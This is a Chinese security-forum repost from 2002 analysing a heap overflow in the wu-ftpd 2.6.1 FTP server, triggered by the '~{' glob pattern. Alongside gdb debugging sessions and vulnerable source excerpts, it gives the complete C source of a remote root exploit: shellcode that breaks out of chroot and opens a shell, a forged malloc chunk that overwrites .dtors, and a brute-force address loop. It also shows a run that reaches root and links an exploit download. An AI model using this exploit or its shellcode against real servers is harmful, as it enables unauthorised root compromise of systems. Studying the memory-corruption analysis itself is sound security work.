>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  Wuftpd 堆溢出(heap overflow )分析[转帖]
发表文章 发表涂鸦
  回复数:0  点击数:104 将此页发给您的朋友        
作者 主题: Wuftpd 堆溢出(heap overflow )分析[转帖] 回复 | 收藏 | 打印 | 篇末
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

wuftp2.6.1 remote root exploit的下载地址
http://www.vertarmy.org/xploit/wuftpd261_exp.c

Wu-Ftpd 是一款由华盛顿大学开发的免费的Ftp服务器,被广泛应用于各种系统,尤其在linux上。Core-sdi 小组发现了该Ftp服务器的一个堆溢出漏洞,利用改漏洞可以导致某些内存被重写。



一、漏洞原理

由于Wu-Fpd使用了glob扩展功能,来提供"文件扩展"模式来对文件进行操作。在处理扩展模式过程中,Wu-Ftpd会建立一匹配的文件列表,这些数据存储在heap区,由malloc()分配,glob扩展函数简单的返回指针给列表,然后调用blkfree()函数进行内存释放。

由于glob 在处理0x7b“{”字符串的时候导致内存错误,攻击者就可以利用改漏洞来写内存。



二、漏洞演示

终端一

bash-2.04# ftp localhost

Connected to adserver.

220 adserver.hanstay.com FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.

Name (localhostscreen.width-300)this.width=screen.width-300'>owl): ftp

331 Guest login ok, send your complete e-mail address as password.

Password: //输入若干字符A

230-The response 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' is not valid

230-Next time please use your e-mail address as your password

230- for example: joe@adserver

230 Guest login ok, access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls ~{

227 Entering Passive Mode (127,0,0,1,121,228)

421 Service not available, remote server has closed connection



终端2

bash-2.04# ps -ef | grep ftpd

ftp 21615 482 0 15:01 ? 00:00:00 ftpd: adserver: anonymous/AAAAAA

root 21787 21136 0 15:02 pts/2 00:00:00 grep ftpd

bash-2.04# gdb /usr/sbin/in.ftpd 21615

GNU gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...(no debugging symbols found)...

/tmp/21615: No such file or directory.

Attaching to program: /usr/sbin/in.ftpd, Pid 21615

Reading symbols from /lib/libcrypt.so.1...done.

Loaded symbols for /lib/libcrypt.so.1

Reading symbols from /lib/libnsl.so.1...done.

Loaded symbols for /lib/libnsl.so.1

Reading symbols from /lib/libresolv.so.2...done.

Loaded symbols for /lib/libresolv.so.2

Reading symbols from /lib/libpam.so.0...done.

Loaded symbols for /lib/libpam.so.0

Reading symbols from /lib/libdl.so.2...done.

Loaded symbols for /lib/libdl.so.2

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

Reading symbols from /lib/libnss_files.so.2...done.

Loaded symbols for /lib/libnss_files.so.2

Reading symbols from /lib/libnss_nisplus.so.2...done.

Loaded symbols for /lib/libnss_nisplus.so.2

Reading symbols from /lib/libnss_nis.so.2...done.

Loaded symbols for /lib/libnss_nis.so.2

Reading symbols from /lib/libnss_dns.so.2...done.

Loaded symbols for /lib/libnss_dns.so.2

0x4014dc34 in __libc_read () from /lib/libc.so.6

(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

__libc_free (mem=0x41414141) at malloc.c:3025 //free时发生错误

3025 malloc.c: No such file or directory.

(gdb) Quit



整理一下思路,可见在执行ls ~{的时候导致Wu-Ftpd中的某些函数指针被覆盖导致,导致系统free出错。让我们再来看看那些有问题的代码



if (restricted_user && logged_in && $1 && strncmp($1, "/", 1) == 0){

[...]

globlist = ftpglob(t);

[...]

}



else if (logged_in && $1 && strncmp($1, "~", 1) == 0) {

char **globlist;



globlist = ftpglob($1);

[...]

}



从Wu-Ftpd的源代码中我们可以得知,Ftpd首先通过通过ftpglob函数动态为文件分配一快缓冲区域,并返回一个globlist的指针。



if (globerr) {

reply(550, globerr);

$$ = NULL;

if (globlist) {

blkfree(globlist);

free((char *) globlist);

}

}

else if (globlist) {

$$ = *globlist;

blkfree(&globlist[1]);

free((char *) globlist);

}



然后通过blkfree 来释放globlist所指向的区域。由于在使用 ~{ 参数的时候使globlist指针被重写,导致在blkfree的时候出错。

让我们在做进一步的分析。

(gdb) b ftpglob

Breakpoint 1 at 0x8058c7a: file glob.c, line 113.

(gdb) c

Continuing.



Breakpoint 1, ftpglob (v=0x8089170 "~{"} at glob.c:113

113 glob.c: No such file or directory.

(gdb) x/20x 0x8089170

0x8089170: 0x40007b7e 0x40192d08 0x44444444 0x00000019

0x8089180: 0x40192ce8 0x40192ce8 0x41414141 0x00004141

0x8089190: 0x00000018 0x00000018 0x00000000 0x00000003

0x80891a0: 0x0000002f 0x00000000 0x00000000 0x00000019

0x80891b0: 0x6374652f 0x636f6c2f 0x69746c61 0x0000656d

在执行ls ~{ 的时候,v 指向0x8089170,然后就会返回给globlist.blkfree的时候会把这个地址转成0x8089170+24(要根据“ls ~{”执行方式来确定这个值,如果“ls ~{ ”后面加上参数的话,这个值就是24+参数的长度),然后开始free。从这里我们可以看到在0x8089170+24 这个地址所存放的是0x41414141,导致blkfree时出错。





(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

__libc_free (mem=0x41414141) at malloc.c:3025

3025 malloc.c: No such file or directory.

(gdb)



可见我们可以精心构造一个块,并把这个块的地址填充到ftpglob函数地址+24的地方,blkfree在释放这个块的时候便会执行我们所构造的shellcode 获得一个shell。



三、演示exploits



/*

wu-ftpd 2.6.1 glob / malloc_chunk forge remote exploit

programmed by hsj : 01.11.29 ( 01.12.04 re revised )



notes:

this code depends to machine / environment strongly.

you have to specify three (commandbuf & rewrite & chunk addr) addresses...

two methods exist in specifying these addresses.

*/



#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <ctype.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <sys/time.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <errno.h>







#define CMDBUF_ADDR 0x8084600 /* command buffer addr */

#define CHUNK_ADDR 0x808957c /* forged chunk addr */

/* this is return value of ftpglob() + 0x30 */

#define REWRITE_ADDR 0x8070b9c /* .dtors+4 */





#define ALIGN 5 /* strlen("PASS ") */

#define CRB_NUM_OFF 0x4e

#define CRB_NUM 0x02 /* this is meaning chroot("../../"). */

/* it is good mostly at 0x10. however, 2.4.x */

/* kernel may complain, when the distance from */

/* ftproot to realroot differs from it. */

#define PORT_OFF 0x90

#define NOP 0x90



#define debug



/* linux chroot break + find sock shellcode (198 bytes) by hsj */

char shellcode[] =

"\xeb\x03\x5e\xeb\x0e\xe8\xf8\xff\xff\xff\x30\x62\x69\x6e\x31\x73"

"\x68\x2e\x2e\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x8d\x5e\x01\x31\xc0"

"\x88\x46\x04\x31\xc9\xfe\xc5\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0"

"\x3d\xcd\x80\xfe\x0e\x31\xc0\xb0\x30\xfe\xc8\x88\x46\x04\x88\x46"

"\x09\x8d\x5e\x07\x88\x63\x03\x89\xdf\x8b\x13\x31\xc9\xb1\x10\x89"

"\x17\x83\xc7\x03\xe0\xf9\xb0\x3d\xcd\x80\x89\xf5\x83\xee\x20\x8d"

"\x46\x0c\x89\x46\x04\x89\xc7\x8d\x46\x1c\x89\x46\x08\x31\xdb\xb3"

"\x10\x89\x18\x31\xc9\xb1\xfe\x31\xc0\x89\xca\x49\x89\x0e\xb0\x66"

"\xb3\x07\x89\xf1\xcd\x80\x89\xd1\x85\xc0\x75\x08\x66\x81\x7f\x02"

"\x34\x12\x74\x04\xe2\xe1\xeb\x27\x49\x89\xcb\x31\xc9\xb1\x03\x31"

"\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x89\x6d\x08\x8d\x4d\x08\x8d"

"\x55\x0c\x31\xc0\x89\x02\x88\x45\x07\x89\xeb\xb0\x0b\xcd\x80\x31"

"\xdb\x89\xd8\x40\xcd\x80";







int

connect_host(char *host, int port)

{

struct sockaddr_in address;

struct hostent *hp;

int sock;



sock = socket(AF_INET, SOCK_STREAM, 0);

if(sock == -1)

{

perror("socket()");

exit(-1);

}



hp = gethostbyname(host);

if(hp == NULL)

{

perror("gethostbyname()");

exit(-1);

}



memset(&address, 0, sizeof(address));

memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);

address.sin_family = AF_INET;

address.sin_port = htons(port);



if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)

return -1;



return(sock);

}







void ftp_send(int sock,char *buf,int len)

{

int n;



n = write(sock,buf,len);

if(n!=len)

{

fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n",len,n);

shutdown(sock,2);

close(sock);

exit(-1);

}

}

int getshell(int sock)

{

fd_set fd_read;

char buff[1024], *cmd="/usr/bin/id;\n";

int n;



FD_ZERO(&fd_read);

FD_SET(sock, &fd_read);

FD_SET(0, &fd_read);

send(sock, cmd, strlen(cmd), 0);

while(1)

{

FD_SET(sock,&fd_read);

FD_SET(0,&fd_read);

if(select(sock+1,&fd_read,NULL,NULL,NULL)<0)break;

if( FD_ISSET(sock, &fd_read) )

{

if((n=recv(sock,buff,sizeof(buff),0))<0)

{

//fprintf(stderr, "\nrecv error\n");

return -1;

break;

}

if(write(1,buff,n)<0)

{

printf("write error\n");

return -1;

}

}

if ( FD_ISSET(0, &fd_read) )

{

if((n=read(0,buff,sizeof(buff)))<0)

{

fprintf(stderr,"read error\n");

return -1;

break;

}

if(send(sock,buff,n,0)<0)return -1;break;

}

usleep(10);

}

return 0;

}



int sh(int in,int out,int s)

{

char sbuf[128],rbuf[128];

int i,ti,fd_cnt,ret=0,slen=0,rlen=0;

fd_set rd,wr;



fd_cnt = in > out ? in : out;

fd_cnt = s > fd_cnt ? s : fd_cnt;

fd_cnt++;

for(;screen.width-300)this.width=screen.width-300'>

{

FD_ZERO(&rd);

if(rlen<sizeof(rbuf))

FD_SET(s,&rd);

if(slen<sizeof(sbuf))

FD_SET(in,&rd);



FD_ZERO(&wr);

if(slen)

FD_SET(s,&wr);

if(rlen)

FD_SET(out,&wr);



if((ti=select(fd_cnt,&rd,&wr,0,0))==(-1))

break;

if(FD_ISSET(in,&rd))

{

if((i=read(in,(sbuf+slen),(sizeof(sbuf)-slen)))==(-1))

{

ret = -2;

break;

}

else if(i==0)

{

ret = -3;

break;

}

slen += i;

if(!(--ti))

continue;

}

if(FD_ISSET(s,&wr))

{

if((i=write(s,sbuf,slen))==(-1))

break;

if(i==slen)

slen = 0;

else

{

slen -= i;

memmove(sbuf,sbuf+i,slen);

}

if(!(--ti))

continue;

}

if(FD_ISSET(s,&rd))

{

if((i=read(s,(rbuf+rlen),(sizeof(rbuf)-rlen)))<=0)

break;

rlen += i;

if(!(--ti))

continue;

}

if(FD_ISSET(out,&wr))

{

if((i=write(out,rbuf,rlen))==(-1))

break;

if(i==rlen)

rlen = 0;

else

{

rlen -= i;

memmove(rbuf,rbuf+i,rlen);

}

}

}

return ret;

}





int ftp_recv(int sock,char *buf,int buf_size,int f)

{

int n = 0;

char q;



if(f)

while((n=read(sock,&q,1))==1 && q!='\n');

else

{

memset(buf,0,buf_size);

while((read(sock,&q,1))==1 && q!='\n')

{

if(n<(buf_size-2))

buf[n++] = q;

}

buf[n++] = q;

buf[n] = 0;

}

return n;

}





void ftp_login(int sock,char *u_name,char *u_pass)

{

char buf[2048];



sprintf(buf,"USER %s\n",u_name);

ftp_send(sock,buf,strlen(buf));

ftp_recv(sock,0,0,1);



sprintf(buf,"PASS %s@attacker.co.jp\n",u_pass);

ftp_send(sock,buf,strlen(buf));

do

{

ftp_recv(sock,buf,sizeof(buf),0);

}while(memcmp(buf,"230 ",4)!=0);

return;

}





int try_to_send(char *host,int port, u_long chunk_addr)

{

int sock,i,j,sock2;

struct sockaddr_in si;

char *p,pass[480],buf[2048],chunk[48];





sock = connect_host(host,port);

if(sock<0)

{

fprintf(stderr,"can not connect to %s.\n");

exit(-1);

}



ftp_recv(sock,0,0,1);



i = sizeof(struct sockaddr_in);

if(getsockname(sock,(struct sockaddr *)&si,&i)==-1)

{

perror("getsockname");

exit(-2);

}



shellcode[PORT_OFF+0]=(unsigned char)((si.sin_port>>0)&0xff);

shellcode[PORT_OFF+1]=(unsigned char)((si.sin_port>>8)&0xff);

shellcode[CRB_NUM_OFF] = CRB_NUM;





memset(pass,NOP,sizeof(pass));

for(i=0,p=shellcode;*p;p++)

{

if(*p==(char)0xff)

i++;

}

for(i=sizeof(pass)-(strlen(shellcode)+i)-1,p=shellcode;*p;p++)

{

pass[i++] = *p;

if(*p==(char)0xff)

pass[i++] = *p;

}

pass[0x50-ALIGN+0] = 0xeb;

pass[0x50-ALIGN+1] = 0x10;

pass[sizeof(pass)-1] = 0;



fprintf(stderr,"challenge login...\n");

ftp_login(sock,"ftp",pass);

fprintf(stderr,"ok.\n");



/* padding */

*(unsigned int *)&chunk[0] = 0x61616161;

*(unsigned int *)&chunk[4] = 0x62626262;

*(unsigned int *)&chunk[8] = 0x63636363;



/* you need little endian cpu... */

*(unsigned int *)&chunk[12] = chunk_addr;//暴力猜测的地址

*(unsigned int *)&chunk[16] = 0xfffffffe;

*(unsigned int *)&chunk[20] = 0xffffffff;

*(unsigned int *)&chunk[24] = REWRITE_ADDR - 12; //要覆盖的地址

*(unsigned int *)&chunk[28] = CMDBUF_ADDR + 0x50; //shellcode 地址



*(unsigned int *)&chunk[32] = 0xffffffff;

*(unsigned int *)&chunk[36] = 0xfffffff1;

*(unsigned int *)&chunk[40] = 0xffffffff;



*(unsigned int *)&chunk[44] = 0;





for(i=0;i<2;i++)

{

strcpy(buf,"CWD ~/aabbbbcccc");

for(j=strlen(buf),p=chunk;*p;p++)

{

buf[j++] = *p;

if(*p==(char)0xff)

buf[j++] = *p;

}

buf[j++] = '\n';

buf[j] = 0;

ftp_send(sock,buf,strlen(buf));

ftp_recv(sock,0,0,1);



}



#ifdef debug

printf("\npress any key\n");

getchar();

#endif



ftp_send(sock,"CWD ~{\r\n",10);

printf("\nattack.............!\n");







sock2 = getshell(sock);

if(sock2 < 0)

{

printf("\nattack failed\n");

return -1;

}

else

{

sh(0,1,sock);

}



return 1;

}



int

brute_mode(char *host,int port, u_long chunk_addr)

{

int i,k;

for(i=1;i<=4000;i++,chunk_addr++)//or for(i=1;i<=4000;i++,chunk_addr += 4)

{

printf("try address at %x",chunk_addr);

k = try_to_send(host,port,chunk_addr);

sleep(5);

if(k > 0)//溢出成功停止循环

{

break;



}



}

return 1;

}



void

usage(char *progname)

{

int i = 0;



printf("Usage: %s hostname port\n", progname);

printf("\nwuftpd remote malloc/free exp\n"

" \nmodify by dove<dove@vertarmy.org>\n"

"\nhttp://www.vertarmy.org\n");

exit(1);

}



int

main (int argc, char *argv[])

{

int k;

u_long chunk_addr = CHUNK_ADDR;

if(argc < 3)

usage(argv[0]);





k = try_to_send(argv[1],atoi(argv[2]),chunk_addr);

if(k < 0)

{

printf("single mode failed\n");

printf("\ntry to brute mode\n");



k = brute_mode(argv[1],atoi(argv[2]),chunk_addr);

if(k < 0)

{

printf("brute mode failed...\n");

exit(0);

}



}





return 1;



}



exploit运行情况:



sh-2.04$ ./exp locahost 21

challenge login...

ok.



press any key







(gdb) b ftpglob

Breakpoint 1 at 0x8058c7a: file glob.c, line 113.

(gdb) c

Continuing.



Breakpoint 1, ftpglob (v=0x8089508 "~{") at glob.c:113

113 glob.c: No such file or directory.

(gdb) x/40x 0x8089508

0x8089508: 0x40007b7e 0x40192ce8 0x63636363 0x000000a9

0x8089518: 0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe

0x8089528: 0xffffffff 0x4019314c 0x080897bc 0xffffffff

0x8089538: 0xfffffff1 0xffffffff 0x00000040 0x00000040

0x8089548: 0x61612f2f 0x62626262 0x63636363 0x61616161

0x8089558: 0x62626262 0x63636363 0x0808957c p1:0xfffffffe

0x8089568: 0xffffffff 0x4019314c 0x080897bc 0xffffffff

0x8089578: 0xfffffff1 p:0xffffffff 0x00000000 0x00000039



我们所构造的chunk

*(unsigned int *)&chunk[16] = 0xfffffffe;

*(unsigned int *)&chunk[20] = 0xffffffff;

*(unsigned int *)&chunk[24] = REWRITE_ADDR - 12;

*(unsigned int *)&chunk[28] = CMDBUF_ADDR + 0x50;

让free开始free的chunk

*(unsigned int *)&chunk[32] = 0xffffffff;

*(unsigned int *)&chunk[36] = 0xfffffff1;

*(unsigned int *)&chunk[40] = 0xffffffff;

我们知道chunk_free 的时候会转换到mem-8 ,然后在开始free.

所以在这里我用用chunk[40]在内存中的地址,来覆盖ftpglob+24的地方.在这里是0x8089578+4 的地方.(由于第二次提交的chunk在传递到blkfree的时候已经不完整了,所以我们用第一次提交的chunk,也就是这里)修改我们的chunk_addr 然后再来执行一下.



(gdb) b ftpglob

Breakpoint 1 at 0x8058c7a: file glob.c, line 113.

(gdb) b blkfree

Breakpoint 2 at 0x80598e0: file glob.c, line 623.

(gdb) c

Continuing.



Breakpoint 1, ftpglob (v=0x8089508 "~{") at glob.c:113

113 glob.c: No such file or directory.

(gdb) x/40x 0x8089508

0x8089508: 0x40007b7e 0x40192ce8 0x63636363 0x000000a9

0x8089518: 0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe

0x8089528: 0xffffffff 0x4019314c 0x080897fc 0xffffffff

0x8089538: 0xfffffff1 0xffffffff 0x00000040 0x00000040

0x8089548: 0x61612f2f 0x62626262 0x63636363 0x61616161

0x8089558: 0x62626262 0x63636363 0x0808957c 0xfffffffe

0x8089568: 0xffffffff 0x4019314c 0x080897fc 0xffffffff

0x8089578: 0xfffffff1 0xffffffff 0x00000000 0x00000039

0x8089588: 0x40192ce8 0x40192ce8 0x00000000 0x00000029

0x8089598: 0x40192ce8 0x40192ce8 0x00000000 0x00000000

(gdb) c

Continuing.



Breakpoint 2, blkfree (av0=0x808951c) at glob.c:623//传递给blkfree

623 in glob.c

(gdb) x/40x 0x808951c

0x808951c: 0x40192ce8 0x0808957c 0x00000099 0x40192ce8

0x808952c: 0x40192ce8 0x080897fc 0xffffffff 0xfffffff1

0x808953c: 0xffffffff 0x00000040 0x00000040 0x61612f2f

0x808954c: 0x62626262 0x63636363 0x61616161 0x62626262

0x808955c: 0x63636363 0x0808957c 0xfffffffe 0xffffffff

0x808956c: 0x4019314c 0x080897fc 0xffffffff 0xfffffff1

0x808957c: 0xffffffff 0x00000000 0x00000039 0x40192ce8

0x808958c: 0x40192ce8 0x00000000 0x00000029 0x40192ce8

0x808959c: 0x40192ce8 0x00000000 0x00000000 0x00000000

0x80895ac: 0x00000000 0x00000000 0x00000000 0x00000098



切换窗口看看我们的exp 运行的怎么样。



sh-2.04$ ./exp localhost 21

challenge login...

ok.



press any key





attack.............!

uid=0(root) gid=0(root) groups=50(ftp)

已经获取了root权限 :)





四、要点分析

由于该溢出我们不能直接构造chunk来获得权限,而是把chunk所在的地址传递过去,而且该值在不同环境中都不一样,提高了攻击的难度。要确定chunk_addr,shellcode, retloc的地址,才能溢出成功。虽然这个exploits里有暴力猜测的功能,但是效果不一定明显,关键是确定chunk_addr,shellcode的地址,程序中的shellcode 和 .dtors 的地址只适用于redhat7.0系统,不同系统请另行调试,以上主要展示了一些调试技术,如有错误请指正。




[ 此消息由 永远的FLASH 在 2002-04-01.11:56:06 编辑过 ]
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-04-01.11:52:25   MSIE 6.0 Windows 2000IP: 已记录
       
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题